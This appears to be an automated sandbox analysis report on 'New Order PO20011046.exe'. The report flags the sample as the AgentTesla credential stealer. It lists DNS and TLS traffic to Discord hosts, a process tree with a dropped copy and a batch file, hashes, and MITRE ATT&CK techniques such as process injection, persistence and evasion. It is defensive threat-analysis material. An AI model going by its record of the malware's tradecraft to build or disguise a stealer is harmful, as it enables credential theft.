Nov 28, 2020 10:28:29.264717102 CET	49285	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:29.300700903 CET	53	49285	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:30.103866100 CET	50601	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:30.130897999 CET	53	50601	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:31.089325905 CET	60875	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:31.125062943 CET	53	60875	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:31.554675102 CET	56448	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:31.598839045 CET	53	56448	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:32.459048033 CET	59172	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:32.488706112 CET	53	59172	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:32.806169987 CET	62420	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:32.841763020 CET	53	62420	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:37.820297956 CET	60579	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:37.847316027 CET	53	60579	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:37.995359898 CET	50183	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:38.022612095 CET	53	50183	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:41.341943979 CET	61531	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:41.388437033 CET	53	61531	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:46.367225885 CET	49228	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:46.394448996 CET	53	49228	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:46.575081110 CET	59794	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:46.603054047 CET	53	59794	8.8.8.8	192.168.2.4
Nov 28, 2020 10:29:11.508492947 CET	55916	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:29:11.535631895 CET	53	55916	8.8.8.8	192.168.2.4
Nov 28, 2020 10:29:14.363260984 CET	52752	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:29:14.390429974 CET	53	52752	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 28, 2020 10:27:38.349987030 CET	192.168.2.4	8.8.8.8	0xcfeb	Standard query (0)	discord.com	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.482669115 CET	192.168.2.4	8.8.8.8	0xc6f1	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:37.820297956 CET	192.168.2.4	8.8.8.8	0x8216	Standard query (0)	discord.com	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:37.995359898 CET	192.168.2.4	8.8.8.8	0x9fd6	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.367225885 CET	192.168.2.4	8.8.8.8	0x5393	Standard query (0)	discord.com	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.575081110 CET	192.168.2.4	8.8.8.8	0x1248	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Nov 28, 2020 10:27:38.377156019 CET	8.8.8.8	192.168.2.4	0xcfeb	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.377156019 CET	8.8.8.8	192.168.2.4	0xcfeb	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.377156019 CET	8.8.8.8	192.168.2.4	0xcfeb	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.377156019 CET	8.8.8.8	192.168.2.4	0xcfeb	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.377156019 CET	8.8.8.8	192.168.2.4	0xcfeb	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.509799004 CET	8.8.8.8	192.168.2.4	0xc6f1	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.509799004 CET	8.8.8.8	192.168.2.4	0xc6f1	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.509799004 CET	8.8.8.8	192.168.2.4	0xc6f1	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.509799004 CET	8.8.8.8	192.168.2.4	0xc6f1	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:27:38.509799004 CET	8.8.8.8	192.168.2.4	0xc6f1	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:37.847316027 CET	8.8.8.8	192.168.2.4	0x8216	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:37.847316027 CET	8.8.8.8	192.168.2.4	0x8216	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:37.847316027 CET	8.8.8.8	192.168.2.4	0x8216	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:37.847316027 CET	8.8.8.8	192.168.2.4	0x8216	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:37.847316027 CET	8.8.8.8	192.168.2.4	0x8216	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:38.022612095 CET	8.8.8.8	192.168.2.4	0x9fd6	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:38.022612095 CET	8.8.8.8	192.168.2.4	0x9fd6	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:38.022612095 CET	8.8.8.8	192.168.2.4	0x9fd6	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:38.022612095 CET	8.8.8.8	192.168.2.4	0x9fd6	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:38.022612095 CET	8.8.8.8	192.168.2.4	0x9fd6	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.394448996 CET	8.8.8.8	192.168.2.4	0x5393	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.394448996 CET	8.8.8.8	192.168.2.4	0x5393	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.394448996 CET	8.8.8.8	192.168.2.4	0x5393	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.394448996 CET	8.8.8.8	192.168.2.4	0x5393	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.394448996 CET	8.8.8.8	192.168.2.4	0x5393	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.603054047 CET	8.8.8.8	192.168.2.4	0x1248	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.603054047 CET	8.8.8.8	192.168.2.4	0x1248	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.603054047 CET	8.8.8.8	192.168.2.4	0x1248	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.603054047 CET	8.8.8.8	192.168.2.4	0x1248	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Nov 28, 2020 10:28:46.603054047 CET	8.8.8.8	192.168.2.4	0x1248	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 28, 2020 10:27:38.551489115 CET	162.159.135.233	443	192.168.2.4	49732	CN=ssl711320.cloudflaressl.com CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Oct 27 01:00:00 CET 2020 Thu Sep 25 02:00:00 CEST 2014 Thu Jan 01 01:00:00 CET 2004	Thu May 06 01:59:59 CEST 2021 Tue Sep 25 01:59:59 CEST 2029 Mon Jan 01 00:59:59 CET 2029	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
					CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 25 02:00:00 CEST 2014	Tue Sep 25 01:59:59 CEST 2029
					CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Jan 01 01:00:00 CET 2004	Mon Jan 01 00:59:59 CET 2029
Nov 28, 2020 10:28:38.065438986 CET	162.159.130.233	443	192.168.2.4	49755	CN=ssl711320.cloudflaressl.com CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Oct 27 01:00:00 CET 2020 Thu Sep 25 02:00:00 CEST 2014 Thu Jan 01 01:00:00 CET 2004	Thu May 06 01:59:59 CEST 2021 Tue Sep 25 01:59:59 CEST 2029 Mon Jan 01 00:59:59 CET 2029	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
					CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 25 02:00:00 CEST 2014	Tue Sep 25 01:59:59 CEST 2029
					CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Jan 01 01:00:00 CET 2004	Mon Jan 01 00:59:59 CET 2029
Nov 28, 2020 10:28:50.550607920 CET	162.159.130.233	443	192.168.2.4	49762	CN=ssl711320.cloudflaressl.com CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Oct 27 01:00:00 CET 2020 Thu Sep 25 02:00:00 CEST 2014 Thu Jan 01 01:00:00 CET 2004	Thu May 06 01:59:59 CEST 2021 Tue Sep 25 01:59:59 CEST 2029 Mon Jan 01 00:59:59 CET 2029	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
					CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 25 02:00:00 CEST 2014	Tue Sep 25 01:59:59 CEST 2029
					CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Jan 01 01:00:00 CET 2004	Mon Jan 01 00:59:59 CET 2029

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: New Order PO20011046.exe PID: 7048 Parent PID: 5852

General

Start time:	10:27:36
Start date:	28/11/2020
Path:	C:\Users\user\Desktop\New Order PO20011046.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\New Order PO20011046.exe'
Imagebase:	0x400000
File size:	1311424 bytes
MD5 hash:	310A7CA550B9997D0E0BCAF645530303
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Analysis Process: svchost.exe PID: 6700 Parent PID: 7048

General

Start time:	10:28:09
Start date:	28/11/2020
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe
Imagebase:	0x1300000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	moderate

Analysis Process: New Order PO20011046.exe PID: 1256 Parent PID: 7048

General

Start time:	10:28:26
Start date:	28/11/2020
Path:	C:\Users\user\Desktop\New Order PO20011046.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\New Order PO20011046.exe
Imagebase:	0x400000
File size:	1311424 bytes
MD5 hash:	310A7CA550B9997D0E0BCAF645530303
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000003.759372640.0000000000574000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.921398684.0000000004B40000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.920852349.00000000038E1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.919758080.0000000002251000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.921099669.0000000004A80000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: cmd.exe PID: 6960 Parent PID: 6700

General

Start time:	10:28:27
Start date:	28/11/2020
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6952 Parent PID: 6960

General

Start time:	10:28:27
Start date:	28/11/2020
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 4476 Parent PID: 6700

General

Start time:	10:28:27
Start date:	28/11/2020
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Xzqvptso.bat' '
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5952 Parent PID: 4476

General

Start time:	10:28:28
Start date:	28/11/2020
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: Evvudrv.exe PID: 5488 Parent PID: 3424

General

Start time:	10:28:35
Start date:	28/11/2020
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe'
Imagebase:	0x400000
File size:	1311424 bytes
MD5 hash:	310A7CA550B9997D0E0BCAF645530303
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 69%, ReversingLabs

Analysis Process: Evvudrv.exe PID: 4868 Parent PID: 3424

General

Start time:	10:28:43
Start date:	28/11/2020
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe'
Imagebase:	0x400000
File size:	1311424 bytes
MD5 hash:	310A7CA550B9997D0E0BCAF645530303
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report New Order PO20011046.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre